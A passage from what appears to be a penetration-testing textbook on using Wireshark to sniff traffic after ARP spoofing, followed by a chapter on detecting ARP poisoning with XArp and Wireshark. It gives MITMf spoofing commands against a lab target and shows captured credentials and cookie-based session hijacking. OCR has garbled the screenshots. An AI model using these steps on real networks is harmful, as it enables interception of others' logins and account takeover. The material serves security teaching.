happening in another device. It will only capture things that flow
through our own interface.

So, we can see in the following screenshot that we have all the
interfaces in our computer. We can see that we have eth0, and we
have all the other ones, some of which are created by VirtualBox:
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Capture

..using this filter: [WEnter a apture filter . ~| | Altinterfaces shown =

[ o M}
any ok e | Py an Ra _n A T e T E T T e
Loopback: lo P T S P PV O N, O S G e

nflog
nfqueue
usbmonl

The main one in the preceding screenshot is eth0, which is the virtual
interface connected to our NAT network.

Now, open a browser and go to a normal website, such as Google.
Now, as we can see in the following screenshot, we can see the
traffic in the eth0 interface graph is spiking, so there was some traffic
generated through that interface:

Capture

..using this filter: | i | Enter a capture filter . v | All interfaces shown =

B esseee———
any T
Loopback: lo — Wb —A

So, if we're sniffing on eth0, we will be able to capture the packets

that were sent.

Now, go to our Windows machine just to prove that point; browse to
the website, and we will see that eth0 will not be affected. The traffic
that's generated on this Windows machine, which is in the same
network as the Kali machine, will not be captured by the Kali
machine.

So, why is Wireshark so useful, why are we even talking about it if we
can only see things that go through our own computer? Why are we
talking about it? Well, we're talking about it because we've seen that
there are many ways that we can become the MITM. Now, we talked
about two methods of becoming the MITM. We talked about doing it
using ARP spoofing, and if we create a fake access point then we'll
naturally be the MITM because all the requests will be going through
the fake access point and start sniffing on the interface that's used to
become the MITM. We'll be able to capture all the traffic generated by
the people that we're targeting in our MITM attack. So, if we start a
fake access point, we can start sniffing on the interface that's
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broadcasting the signal, and we can capture all the packets sent to or
received by anyone who is connected to that fake access point. If we
become the MITM using ARP spoofing, then just select the interface
that we used when we launched our ARP spoofing attack. We are
going to perform this with ARP spoofing because it's quicker and
easier than generating a fake access point, but again, this works on
both ways. It even works if we manage to become the MITM using a
different method. Just make sure we select the interface that's used
to launch that attack.

So, we are going to look at ARP spoofing. We can do it using
arpspoof, or you can you do it using MITMf. We're going to do it using
MITMf, and our command is going to be , which is going to be , and
then the , which is

, then we're going to specify the , . So, we performed this command
before. It will just put us as the MITM. It'll redirect the traffic from the
computer that has the IP to our computer, placing us in the middle.
Run the attack using the following command:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5

Go to the Windows machine. If we do any browsing here, it is going
to affect the traffic in eth0. We'll see whether Wireshark will be able to
capture traffic generated by this Windows machine. Browse to
Google, or a different website, and if we come back to the tool, in the
following screenshot you will see that we have traffic being generated
here. We can see that eth0 is actually capturing packets in a
completely different device, a device that's not even connected to our
network:

This is happening because when we are the MITM and all the
packets that are generated by the Windows device are actually being
redirected to our Kali device, and then Wireshark is sniffing them from
the Kali machine, it's sniffing it from own local machine. It's not
sniffing it from the network, it's not sniffing it from the target computer,
it's only listening on current interface, which is eth0, and it can
capture packets that are flowing through eth0 because MITMf has
redirected the traffic of the Windows machine to flow through the Kali
machine.
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So, again, if an attack is performed with the fake access point, then
just listen on the interface that we are broadcasting from. If we are
performing this attack with a real wireless network, if we are
connected to our home wireless network using wlan0, then we can
perform it with wlan0. But with ARP spoofing, we have to first redirect
the traffic. Then we can use Wireshark. Now, this is just to show what
Wireshark is and how it works, and we just want to stress the idea
that Wireshark is not a hacking tool. It's only a program that allows us
to log packets flowing through a certain interface and then analyze
these packets. So, in the next section, we'll see how we can sniff and
analyze packets using Wireshark.

Wireshark basics

In the previous section, we saw how to launch Wireshark, and we
said that we can open a file that contains packets that we have
already captured, and we can start analyzing them using Wireshark.
In this section, we want to start sniffing packets and then generate
some traffic in our Windows machine, and then we'll see how to
analyze these packets using Wireshark. As we know, we first have to
be the MITM to use Wireshark, and then the traffic that's generated in
the Windows machine and is actually flowing through the eth0
interface, as we saw in the previous section. So, before we start
capturing the packets, we need to go to the options by clicking the
cog icon:

We can see all the options we can set, all the interfaces that we have,
and we can see the traffic generated on them, as shown in the
following screenshot:
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Wireshark - Capture Interfaces []

Input | Output = Options

Interface Traffic Link-layer Header Promiscu Snaplen (B) Buffer (
eth) | Ethernet default 2
any Linux cooked v default 2

¢ Loopback: lo L Ethernet v default 2

nflog ey Linux netfilter log messages v default 2
nfqueue _ Raw IPv4 v default 2
usbmonl - DLT -1 v default 2
tshmon? gy DIT -1 "] default 2
Cisco remote capture: cisco _ Remeate capture dependent DLT
Random packel generalor: randpkl s Generator dependent DLT
SSH remote capture: ssh s Remote capture dependent DLT
UDP Listener remote capture: udpdump ___ Exported PDUs

1 L]

| Enable promiscuous mode on all interfaces Manage Interfaces...

Capture filter for selected interfaces: | |Enter a capture filter ... - | Compile BPFs

@ Help . % Close + Start I

The ethO0 interface is generating some traffic every now and then
because it's coming from the Windows machine. We can select the
interfaces that we want to start capturing on, and we can actually
select more than one interface, and all we have to do is just hold the
Ctrl key and then click the other interface we have. If we go on the
Output tab, we have an option to store the packets:
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Wireshark - Capture Interfaces [ ]

Input | Output | Options
Capture to a permanent file

File: |Leave blank to use a temporary file Browse...

Output format: (e pcap-ng pcap

Create a new file automatically after...

Use a ring buffer with | 2 | files

o Help * Close | » Start |

If we only want to sniff and don't want to analyze things, then we can
just go to Browse and store the packets that we are going to sniff
somewhere, and then we can analyze them whenever we have the
time at a different time. We can just open them with Wireshark like we
saw in the previous section. We can just go on File | Open and then
open the packets and start analyzing them.

Now, we have eth0 selected and we are just going to click on Start,
and that'll start capturing packets. Anything that's going to flow
through eth0 will be captured and will be displayed in Wireshark:
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Capturing from eth0 e e O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Had@® o RNE awsJdew=|=aaaifF

—

(W[op

i filter . <Ctrl== —d - E)tprer..r.inn... +

No. Time Sou

Destination

Protocol  Length Info
TLSv1.2 1689 Application DATA

5 1.562163576 PcsCompu B4 LI

8 1, 684651384 Riraltekl _12:25:08 ARP i% @ {duplicate use of 18.8.2.1 detected!)
7 4.4747T08397 B PcsCompu_B4:18:94 ARF 42 Who has 19 8.2,

B 4.475331316 PesCompu_04d:18:04 PesCompu_gh: 91166 ARP €0 10.0.2.5 1 0 270418

9 4.5T6B54267 PesCompu_8b: 91: 66 PesCompu_84:18:94 ARP 56 18.9.2.1 is at ©8:00:27:6b:91:66
10 4.579647744 PcsCompu_Bb:91: 66 Realteku 12:35:90 ARF 56 10.0.2.5 15 at 08:00:27:00:91:66 (duplicate use of 10.0.2.1 detected!)
11 7.5a8Ta%6168 PosCompu_8h: 81 : 88 PesCompu_84:18:84 ARP B8 18.4.2.1 is A6 27 :00:91:88
12 7.591982848 916 Realtekl_12:35:99 ARP 56 18.9.2.5 i il i {duplicate use of 18.8.2.1 detected!)
13 10.599804343 PesCompu_04:18:04 ARP 6 10.0.2.1 1 R
14 10.6864132482 Realtekl _12:35:88 ARP 56 16.8.2.5 1s & 16 (duplicate use of 18.8.2.1 detected!)
15 13, 618884685 FcsCompu 8D ;91 ;66 FosCompu Bd:18:84 ARF 56 18.8.2.1 1 Wl
16 13. 614867543 PosCompu_8b:91: 66 Realteku_12:36:88 ARP 66 18.8.2.5 15 | {duplicate use of 18.8.2.1 detected!)
47 16.623270904 PcsCompu_Ob: 0166 PesCompu_@4:18:84 ARP 56 18.9.2.4 4 il
18 16.627T07008 PcsCompu @b :91:66 RealtekU 12:35:00 ARP 6 18.9.2.5 i =] {duplicate use of 10.0.2.1 detected!)

Frame 1: 188 bytes on wire (1582 bits), 199 bytes captured (1592 bits) on interface -

Ethernet II, Sré: PesCompu 04:18:04 [0B:00:27:04:18:04), Dst: PesCompu Db:01:66 (08:00:27:06:91:66)

Internet Protocol Version 4, Src: 10.8.2.5, Dst: 34.169.1068.82

Transmission Control Protocol, Src Port: 58782, Dst Porf: 443, Seq: 1, Ack: 1, Len: 145

Secure Sockets Laver
@8 @2 27 Bb 91 66 98 8@ 27 @4 18 84 08 @9 45 80
00 DY 48 Bb 40 0O B0 96 1T 16 Oa DO B2 BS 22 ¢V
fc B2 of Be 81 bb 97 534 13 &5 48 44 44 af 58 18
T8 26 80 Tc @0 98 17 63 ©3 99 8c 00 @9 B9 90 60
05 00 27 04 2d 30 6d 6a Af Td 23 58 2¢c 62 @d B2
d7 d4 78 2T 19 B 21 24 72 d9 be 3¢ 46 45 6 b2
€9 B4 5a 60 1T 4C 23 55 41 Se G4 30 20 bb 54 71
41 6 c@ 28 ob ¢ 26 60 51 30 1a d7 22 66 Th o
G5 85 4d fb 64 & 27 58 d@ de G4 Bb 96 38 aB 43
05 4d di S5d 57 o7 c3 6d 4c 91 7O 36 Se Tad &a ad
85 82 cf BT Obh 85 dp 64 TE 3 fo B3 b7 af 24 ac
€2 €5 35 8 89 BT Be &9 TZ 3¢ aa TH 92 5¢ aB 18
BB fd 69 48 3¢ Ic Qe

Anything (we mean images, pictures, messages, cookies) that that
computer does on the internet will flow through eth0, and therefore
will be captured by Wireshark. It's not like MITMf, which was only
showing us the important information. In Wireshark, we will see
everything, all the traffic that's generated. So, let's first of all generate
some traffic and try to analyze the packets, or the traffic that we
generated.

In the main interface of Wireshark, as shown in the following
screenshot, we can see that each record is a packet:
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Capturing from eth0 e e o
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

B0 DNRE Qersdes|Eaaai

| R |Apply a display filter _ <Clrl-/> =3 =| Expression.. +

No. Time: Source Destination Protocol  Length Info

27227 3835.4T73161478 B2.176.23.76 18.8.2.8 TLEv1.2 692 Application Data

27229 3035,510948360 10.9.2.5 52.175.23.79 TCP 60 52975 ~ 443 [ACK] Seq=1403 ACk=0650 Win=G3431 Len=Q

24231 3935, 571342836 52.175.23.79 18.9.2.% TLSv1.2 9% Application Data

27233 3835.613799165 16.8.2.5 52.175.23.7% TCP 60 58075 - 443 [ACK] Seq=1483 Ack=6602 Win=63389 Lenz=@

27235 3836614456458 52.176.23.79 10.8.2.5 TLSW1.2 499 Application Data

27237 3835,660875415 10.0.2.5 52.175.23.79 TcP 60 50975 — 443 [ACK] Seg=1403 ACk=7137 Win=62944 Len=0

27239 3836, 1GEG/3BE3  PcsCompu 0D 9166 PocsCompu_@4:18:94 ARF o6 19.8.2.1 15 At PE: 992700 91 66

27249 3836.173194206 PcsCompu_8b:91:66 RealtekU_12:35:00 ARP 56 18,9.2.5 15 At 08:00:27:00:91:66 (duplicate use of 10.0.2.1 detected!)
27241 3839, 180178348 PosCompu_8bi91:68 PosCompu_84:18:94 ARP 56 16.8.2.1 is at ©8:08:2T:0b:91:66

20242 3839,192362758  PcsCompu 8L 9166 Realtekl 1Z:35:98 ARF o6 18.9.2.9 15 at 98902700 91606 (duplicate use 0T 18.0.Z.1 detected!)

+ Frame 27184: 54 bytes on wire {432 bits), 54 bytes captured (43Z bits) on interface @
+ Ethernet II, Src: PesCompu ©b:01:66 (08:00:27:0b:94:66), Dst: Realtekl 12:35:00 (52:54:00:12:35:00)
v Internet Protocel Version 4, Src: 18.9.2.5, Dst: 192.188.168.60

v Transmission Control Protocel, Src Port: 58973, Dst Port: 7688, Seq: 1, ACK: 1, Len: @

G2 54 8@ 12 35 00 €8 @9 27 6b 61 66 68 @9 45 8@ RT..5... '..f..E.
00 28 29 3e 40 90 Tf 06 Al aB ©a 08 02 @5 cb ab Y sseadian
64 3c o 1d 1e 88 54 f@ bbh 6o @G 83 bd c2 58 18 de. ... To banias P.
faTege sé®@e - aiaaes

We can see the columns. First of all is the No. column for packet
numbering. In the Time column, we will see the time that this packet
was captured. The time increases as we go down, and it shows when
these packets were captured. We can also see the Source column,
which indicates which device the packet was sent from. The
Destination column shows the receiving device IP. The Protocol
column shows the name of the protocol used by the packet. In the
Length column we can see the length, which is the size. We can also
see more information about the packet in the Info column:

hio it Sowrte Destraman Protecol  Lengeh info
L 14 £ TH1 AT 1 14 1 51 04737 [FIN, ABK] Sagst Abked Wine®¥? (ar ﬂ
20 10.2 21 211,174 ct 5 K] BEQYL ACKeZ WLN=ZRE Len
0 10,2 6 21 211174 o & in=283 | ¥
) C ©

We can also see that packets have different colors. Usually, green is
TCP packets and dark blue is DNS packets. Light blue is usually
UDP, but we don't have any UDP packets at the moment, and we can
also see we have some black packets, and these are TCP packets
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that had issues. If we double-click on any of the packets, it will display
more information for us. It's the same information that's being
displayed at the bottom of the main interface. We can see in the
following screenshot that we have the Frame, the Ethernet, the
Internet Protocol, and the Transmission Control Protocol, and using
that we can just click on the arrow and see more information that's
stored in here. Now, if we just double-click the packet, we will get the
exact same information and we will be able to get information about
the packet that we have selected:

» Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @
= Ethernet II, Src: PcsSyste_27:06:d4 (6B:00:27:27:06:d4), Dst: PcsSyste_d5:6d4:d7 (BB:00:27:d5:8d4:d7)
= Internet Protocol Version 4, Src: 216.58.211.174, Dst: 16.20.14.208
» Trangmission Control Protocel, Src Port: B8O, Dst Port: 49737, Beq: 1, Ack: 1, Len: 8
Source Port: BQ

k

Head: hy Ees
ACK)

» Flags: GxB811 (FIN,
window size wvalue
08 @8 27 d5 6d dT 08 @8 27 27 06 d4 08 0O 45 00 Tom E
00 28 d3 43 40 00 40 @6 82 cl dB 3a d3 ae Oa 14 (=
9 Oe ce 00 50 c2 49 0e 51 b6 4d 82 2f 2b 26 FE 11 P.I.Q M. S+EF
08 sd c4 25 Q0@ 0Q i

Now, most of the traffic that we have generated was HTTP traffic, so
to get rid of all this information that's hard for us to read we're just
going to type HTTP in the filters, and hit Enter. As we can see, that
filtered all the packets to HTTP traffic. So, for example, we have a

request sent from our target computer to a server. We still don't know
what that server is, but it's a server on the internet. When we double-
click that, we'll get more information about this packet. We're going to
make this smaller here. So, under Frame we can see the interface
that's used. We can see information about the packet itself. In
Ethernet Il, as we can see in the following screenshot, is the
information about the Destination and the Source, so we can see that
the MAC address is used. In the Internet Protocol, we will see
information such as the geolocation of the target, wherein we will see
where that packet is sent. In the Transmission, we can see
information about the ports used:
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3 Hrﬁertnt Transfer Protocol

Now, a really interesting part for us is the Hypertext Transfer Protocol,
as this is where we really see the interesting information. In here, we
can see that the request was sent to bing.com, and we will see that
this request was searching for www, and we can see that the Content
Type was text. So, we can get this information, as we can see in the
following screenshot, about each packet that's sent, and can see that
Wireshark logs everything that happens. It doesn't only show the
interesting information, it literally logs everything. It contains the
interesting stuff plus much more:

= Hypertext Transfer Frotocol
- Fe3T /fdd/ls/lsp. aspx HTTRAL . 4%

or-ler

Markup Language

So égain, we can see all the searches that we did. We can see all
the URLs that the user has entered so far. If we scroll down, we will
be able to see all the other URLSs that we visited.

Wireshark filters
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In this section, we'll see how to use more Wireshark filters and
capture a username and a password, and we'll also see how to see
the cookies of a person if they're already logged into a service and
they haven't entered their username and password. So, we are going
to start a new capture. We will just go to Hotmail, and we are going to
log in with a username, which is thegeniusstuff@gmail.com, and then we'll
enter the password, which is going to be a random password that's
going to be captured. So, we're going to enter , and hit Enter. When
we go to the Wireshark tool, we will see it has managed to capture
the traffic, as we can see in the following screenshot. In the traffic we
are going to look for HTTP, and we're going to look for POST
requests:

We see a POST request, sent from the target computer to the server.
We are going to open it and see what's inside it. We will scan through
such captures to see which session has our username and
passwords.

We will open all the HTTPS URLs, and also one that has a POST
request. In the following screenshot, we have found the session that
has captured our login credentials. We have go to HTML form to see
them. We have the login session captured, which is
thegeniusstuff@gmail.com, SO this is what we entered, and you can also
see the password that was sent, :
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Wireshark - Packet 1208 - wireshark_eth0_30161333104450._ JunbC2 e e e

- Frame 1208. 2328 bytés on wire (18624 bats), 2328 bytes captured (18024 bats) on anterfoce ©
Ethernat 11, Src: PesSyste d5:6d:d7 (QR:088:27:d5:84:d47), Dat: PraSys 27:06:dd (BR:BA:27:27-B8:d4)
» Internet Protocel version 4, Sro; 19.20.14.200, Dst; L31,203.01.80
+ Transmiggion Control Protscol, Src Port: 51116, Dt Port: 80, Seq: 1, Ack: 1, Len: 2374
v Hypercext lransfer Frotocol
«  [eruncated]POST Jppsccure/past. srfrwa=waigninl. OBrpanv=138s t=14825070120rver=56, 4, 6455, Owp=MBI_BSL_SHAREDGWreply=hetps :N2FN2Fmail . live . comiaFde fault, aspa%3Fr

o 1238 - P 43832639604 - Sowrce: 10.00.14 308 - Dessnarcer 131 2306180 - Prosocol: HTTE - Lengeie 2308 - bnfo.. ~EE4A00ETTEY 30158 b =1 48250791 3 Susai= Il 655 ol Sokf 4 1448t 600 Toabsl 3hgmt0 HTTFYLY fapp atiors'e-wvwwr-form-srier odes))

So, again, MITMf was sniffing all the data for us, and it was showing
the information. It was filtering the important information. We can see
that we can capture anything that's sent on the network using
Wireshark.

Another thing that we can do is search through the whole packets.
We can just go to the Edit option and then select Find Packet, and
we can search in the packet list, or in the packet details. If we search
in the packet details, we're going to keep this , and we will get a
string. We can actually put in a display filter if we want, but we are
searching for a string, which is just the normal text. If we search for
genius it'll actually go straight to the packet that contains our username.
Again, when we find it we can doubleclick it, whichever is easier for
us. We can see in the following screenshot that we managed to
capture the username, which is thegeniusstuff@gmail.com:
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Now, we can do Find Next and we will get the next one, which
actually has our password in it. Again, the search right here is really
useful function that will allow us to navigate through all of these
packets and find what we are looking for.

Now, let's start a new capture and see if we can actually capture the
cookies. So, we are going to go to our Windows machine, and then
we will go to Dailymotion, which we already logged into before. As we
can see, it's not asking me to log in because we are already logged
in, and it already has a name here, so we are just going to go to this
channel. It's just a fake channel that we created. We go to Wireshark
and stop the capture, and instead of HTTP we are going to look for
http.cookie:

* Fr am-r TORE: 2417 wtn on wire (19330 bits), 2417 bytes captured (19 36 bats) en inte

» Ethernet II, Src: eByste 27:08:d4 (08:00:27:27:06:d4), Dek: Realtekl 13 35001"52540612255@!

L4 lﬂtefﬂet Prococol v er‘S].GI'\ 4, Srcc 10.20.14.213, DS 37.252. ln"é 12

= Transmission Contral Pr etocul €re Port: 44008, Dst Porkt: B0, Seq: 1, Ack: 1, Len: 2363

L mll’nll Transfer Frococol

-uu]mm wwnmmr_mmwwmmlwmrnmuﬂ 1kgASOECRAAAYT Qe QAADY AKRE T Q4 wbANWHEAL

&

4SUAR00RE04FE;  an 1 =UdTHTK | M4,

¢ IKRP " I wWIg2In>kC | GTHRURO T5uMZ00  GRcIbT_cv=hp@vic IR [LYhTHIF-jc "ShagH. ] 8nbx: He (ki '#EFseWluZKS

1B . BONKS . CON/VEVER T e=wl | _JUKGHALJAJAAMWUNAAIECLGQUE [FENLYVULYO TS XL | FOFQIurL - 1KQASO CCUAANY L | BUBNAQDE GAKDWE KKRUUANE GRANKK
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So if we go down, the person got to their home page, which is the
username, the fake username that we had. Now, if we go to the
request before that and look at the hypertext, we can see the cookie
that was sent to authenticate that person. We can just download a
plugin for our browser and inject these cookies into that browser. We
will be able to log in to that username, to that account, without using
the password, the same way as the user. This is the same as we did
with ferret and hamster. Again, we are just doing this to see that
Wireshark can be used to do all of the attacks that we did before, plus
much more, because basically, it can capture anything that flows
through our device. Any request sent or received to or from the target
computers will flow through our interface, and then Wireshark will
capture anything. Regardless of whether it thinks it's important or not,
it's going to capture everything, so it's a really, really handy and useful
tool.

Summary

The first section of the chapter was about the MITM framework, which
can be used for one of the most powerful attacks we can perform on
a network. We performed a MITM attack using arpspoof, we
bypassed HTTPS, we indulged in session hijacking, we looked at
DNSspoofing, we saw keyloggers, and we covered code injection.

Later, we learned about the Wireshark tool, which is a very effective
tool for gathering information about clients by analyzing the packets
that are sent in and out through a particular target. It lets users
decode the information it carries. We learned the basics of how to
use it, and we also learned how to apply and analyze a few filters.

The next chapter covers the ARP poisoning attack, as well as how to
detect and prevent this attack. We will be using Wireshark for
detection.
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9

Network Penetration Testing, Detection, and Security

In this chapter, we are going to learn about how to detect ARP
poisoning; to do that, we will first look at what ARP poisoning is, how
to perform the attack ourselves, and then how to detect it. This
chapter also cover how to detect suspicious behavior for which we
will be using the Wireshark tool.

To sum up, in this chapter, we will cover the following topics:
Detecting ARP poisoning
Detecting suspicious behavior

Detecting ARP poisoning

Let's take a look at how to detect ARP poisoning attacks. First of all,
we need to gain an understanding of the ARP table. On our Windows
device, which is the device that we always attack, we are going to run
the command to list all the entries in the ARP table. Each computer
has an ARP table, and that table associates IP addresses with MAC
addresses. We have the |IP address of a router, which is and is
associated with the MAC address , as shown in the following
screenshot:

C:\Users\IEUserrarp -a

Interface: 18.8.2.5
Internet Address al Address Type
16.8.2.° 2 2 dynamic
18.8.2.3 g dynamic

19.06.2.15 B 27-6 66 dynamic
55 F FF-fF-fF-Ff static
-BE-88-16 static

-fb static

Fe static

-Se- static
Ff-ff-ff-ff static
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ARP poisoning works via trusted requests; as you can see in the
previous screenshot, when a request is trusted, responses are
accepted by the client even if a request isn't actually sent. The hacker
sends a response to the client telling them that they are the router,
which is automatically trusted and then accepted. Hacker will now
send another response to the router, telling it that we're the client.
This will modify the entries in the ARP tables for both the router and
the client, associating the hacker's MAC address with the router's IP
address. In other words, the router's MAC address is now the
attacker's MAC address. By doing this, the hacker will be able to
read, analyze, and modify any packets flowing through the device, as
shown in the following diagram:

= A

OO0 | Wi-Fi router

L — o

1—""""
y

We'll now run a normal ARP poisoning attack from Kali machine.
Following is the command:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 When We retU rn and execute the Same
command as earlier, , we should see a different MAC address, as
illustrated in the following screenshot:
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dynamic
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dynamic
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The MAC address for the router used to be but that has since
changed to , the MAC address of the network card the attacker is
using.

If we run on Kali machine, we will get the same MAC address, as
shown in the previous screenshot:

ethd: gs=" 3] mtu 15860
1neT 18. Pt = :r . B bTuaﬂcast 19.0
ineté [fed 00 : 2717 : ’% prefixlen 64 scopeid ©
cther 028: Bb:D1:66 ®xqucucl {Ethcrnet)

RX packets 227584 bytes 28: .7 MiB)
RX errors © dropped @ overruns D fr:me B
yackets 135188 bytes 36577352 (34.8 MiB)
X errors © dropped © overruns ® carrier © collisions ©

This is the simplest way to detect ARP poisoning attacks but not the
most efficient. To save time, it is recommend to use a tool called
XArp, which performs the command for us. XArp is available on Linux
and Windows and can be downloaded from the web. When XArp
stops an attack, the altered IP address is reverted back to the original
value; in this case, the router's MAC address returns to the default
address.

Running XArp triggers a similar process to the command, as shown
in the following screenshot:
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. XArp - unregistered version
File XArp Professional  Help

Q.? Status: no ARP attacks Security level set to: basic
- agaressive The basic security level operates a
: i : default attack detection strateqgy
® Read the 'Handling ARP attadks' help IR e S
» View XArp logfile high This is the suggested level for default
environments.
e basic
Get XArp Professional now!
Register XArp Professional e
l P ] MALC I Host 1 Vendor J Interface ] Online ] Cache I First seen
w 10021 52-54-00-12-35-00 10.0.2.1 Realtek (uptec... (9 - Intel(R) P... unkno.. yes 7272018 03:2(
w 10022 52-54-00-12-35-00 10.0.2.2 Realtek (uptec.. 0x9- Intel(R) P... unkno.. yes 7/12/2018 03:2(
® 10023 08-00-27-98-3c-09 10,0.2.3 Cadmus Com...  0x9 - Intel(R) P... unkno... yes 71272018 03:2(
w 10025 08-00-27-04-18-04 MSEDGEWINTD  Cadmus Com...  0x9 - Intel(R) P... unkno.. no 7/12/2018 03:2(0
w  100.2.15 08-00-27-0b-91-66 10.0.2.15 Cadmus Com...  0x9 - Intel(R) P... unkno.. yes 7/12/2018 03:20
£ >

KArp 22,2 - 3mappings - 1interface - 0 alerts

As we can see in the previous screenshot, the XArp tool has provided
us with an IP address and the MAC address associated with it. The
tool will then automatically monitor these values, notifying the user of
any changes or duplicates.

If we run an ARP poisoning attack similar to the one we did earlier,
XArp should display an alert, as shown in the following screenshot:
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g} Alert 1o0f 1

7/12/2018 03:23:18

ChangeFilter; MAC address for IP 10.0.2.1
changed from 52-54-00-12-35-00 to
05-00-27-0b-91-66

Interface : 0x5

[ethernet]

source mac: 08-00-27-0b-51-€6
dest mac : 08-00-27-04-18-04
type - OxB0e

[arp]

direction - in

type . reply

spurce ip - 1l0.0.Z2_1

dest ip -l _0.2_5

source mac: 08-00-27-0b-51-€6
dest mac : 08-00-27-04-18-04

The notification will convey a message
that the MAC address for IP changed from 52-54-00-12-35-00 to
08-00-27-0b-91-66.

Once we click OK, we can see that the affected machines are the
router, our Windows machine, and our attacker Kali machine as
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shown in the following screenshot:

. HArp - unregistered version - O x
File XArp Professional Help
% Status: ARP attacks detected! Security level set to: basic
o \View detected attacks agaressive The basic security level operates a
1 : : default attack detection strategy
» Read the Handing ARP attacks’ help that can detect all standard attacks.
» View XArp loafile high This is the suggested level for default
environments,
[ basic
Get XArp Professional now!
Register ¥Arp Professional e
| | IP | MAC J Host |‘u’end0r I Interface | Online | Cache | First seen
% 10.0.2.1 08-00-27-0b-91-66 10.0.2.1 Cadmus Com...  0x9 - Intel(R) P... unkno.. yes 771272018 03:2(
w 10022 52-54-00-12-35-00 10.0.2.2 Realtek (uptec.. Ox9 - Intel(R} P.. unkno.. yes T12/2018 03:2(
w 10023 03-00-27-93-3c-09 10.0.23 Cadmus Com...  0x9- Intel(R) P... unkno.. yes 71272018 03:2(
x 10.0.2.5 08-00-27-04-18-04 MSEDGEWINT0  Cadmus Com... 03 - Intel(R) P... unkno.. no 771272018 03:2(
|3 100215 08-00-27-0b-91-66 10.0.2.15 Cadmus Com...  0x9- Intel(R) P... unkno.. yes 771272018 03:2(
£ >

|XArp 2.2.2 - 5 mappings - 1interface - 1 alert

The preceding screenshot tells us that the machine at is trying to
perform an ARP poisoning attack because that's the value the
router's MAC address has changed to. As we can see, the XArp tool
is really handy because not only does it automatically monitor your
machine, it also tell you when someone is trying to ARP poison your
network.

Detecting suspicious behavior

We will now look at how to use Wireshark to find suspicious activity
within our network. Before we go any further, we need to change a
few settings inside Wireshark; go to Edit | Preferences... under
Protocols, find ARP/RARP and enable the option to Detect ARP
request storms:
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M Wireshark - Preferences 7 >

AlM rS
AJP13

ALC

ALCAP Mumber of requests to detect during period |30 |
Allloryn ARDF
Allloyn N5
AMOP Detect duplicate IP address configuration
AMER

AMS

AMT

AMCP

AMSI BESMAP
AMSI MAP
AMSI_TCAP
AODV

AOL

APRS

AR Drone
Armagetronz
ARP/RARP
Artemis
ARTMET
ARUBA_ERM

ASAP o
< >

Address Resolution Protocol

Detect ARP request storms

Detection period {in ms) |1DE| |

Register network address mappings

Cancel Help
This will notify us if anybody is trying to discover any devices on the

network. Click on OK and begin starting the capture by clicking on
Capture | Start:

M Wireshark
File Edit View Go Capture Analyze Statistics Telephony
A4 B & @ Options... Ctrl+K =
(W | Apply a display filter .. < Ml start Ce+E| [
B Stop Ctrl+E
Restart Ctri+R
siEho Capture Filters...
Capti Refresh Interfaces F5

Now we need to switch to the Kali machine and use . Instead of ARP
poisoning, we are trying to discover what devices are connected to
network. This is done by launching the following command:

netdiscover -i eth0 -r 10.0.2.1/24

Once we have launched the command, it quickly discovered the
available devices on the network:
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:~# netdiscover -i eth® -r 10.0.2.1,
Currently scanning: Finished! Screen View: Unique Hosts

4 Captured ARP Reg/Rep packets, from 4 hosts.

Count

2:54:00:12:35: 0¢ Unknown wvendor
:54:00:12:35:0€ Unknown vendor
00:27:77:49: B¢ PCS Systemtechnik GmbH
:00:27:04:18: 04 PCS Systemtechnik GmbH

Sk

Wireshark will then generate packets that include the name of a
device, what its destination is, and what it's inquiring from each IP
address, as shown in the following screenshot:

£ Capturing from Ethernet
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

m @ RE Re=2EF I EQAQAQHE

| |4:'_1,Ef-s:u=,.‘;fe <Cirl-f>

Ma. Time Source Destination Protocol  Length Info
43887 344.881758 PcsCompu_@b:91:66 Broadcast ARP 68 Who has 10.6.2.229? Tell 18.8.2.67
43888 344.0883388 PcsCompu_8b:91:66 Broadcast ARP 68 Who has 10.6.2.238? Tell 18.8.2.67
43889 344.884910 PcsCompu_8b:91:66 Broadcast ARP 68 Who has 10.6.2.231? Tell 18.8.2.67
43818 344.886891 PcsCompu_@b:91:66 Broadcast ARP 68 Who has 10.6.2.232? Tell 10.8.2.67
43811 344.8888081 PesCompu_@b:91:66 Broadcast ARP 68 Who has 18.8.2.233? Tell 16.8.2.67
43812 344.B89833 PesCompu_@b:91:66 Broadcast ARP 6@ Who has 18.8.2.234? Tell 18.8.2.67
43813 344.898386 PesCompu_@b:91:66 Broadcast ARP 68 Who has 108.8.2.235? Tell 16.8.2.67
43814 344.892284 PesCompu_@b:91:66 Broadcast ARP 6@ Who has 10.8.2.2367 Tell 16.8.2.67
43815 344.893894 PesCompu_@b:91:66 Broadcast ARP 68 Who has 10.6.2.237? Tell 18.8.2.67
43816 344.894792 PesCompu_@b:91:66 Broadcast ARP 6@ Who has 18.8.2.238? Tell 18.8.2.67
43817 344.895886 PesCompu_@b:91:66 Broadcast ARP 6@ Who has 18.8.2.239? Tell 18.8.2.67
43818 344.897794 PesCompu_@b:91:66 Broadcast ARP 68 Who has 10.8.2.2487 Tell 16.8.2.67
43819 344.898446 PesCompu_@b:91:66 Broadcast ARP 68 Who has 18.8.2.2417? Tell 16.8.2.67
4382@ 344.899371 PcsCompu_@b:91:66 Broadcast ARP 68 Who has 108.08.2.242? Tell 18.8.2.67
43821 344188300 PcsCompu_@b:91:66 Broadcast ARP 68 Who has 18.8.2.243? Tell 18.8.2.67
43822 344.182482 PcsCompu_8b:91:66 Broadcast ARP 68 Who has 10.8.2.244?7 Tell 18.8.2.67
43823 344.184354 PcsCompu_8b:91:66 Broadcast ARP 68 Who has 10.6.2.245? Tell 18.8.2.67
Frame 43536: 60 bytes on wire (480 bits), 68 bytes captured (488 bits) on interface @
Ethernet II, Src: RealtekU 12:35:80 (52:54:809:12:35:88), Dst: PcsCompu ©4:18:04 (88:00:27:94:15:684)
Internet Protocol Version 4, Src: 52.114.7.36, Dst: 16.8.2.5
Transmission Control Protocol, Src Port: 443, Dst Port: 49776, Seq: 3839, Ack: 2798, Len: @

As the results show, a device is checking to see whether any possible
IP in a particular range exists. The device is asking for responses to
be sent to, so it's safe to deduce that whoever is trying to discover
our connected devices has the IP address
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If we go to Analyze | Expert Information, you'll see that an ARP
packet storm has been detected:

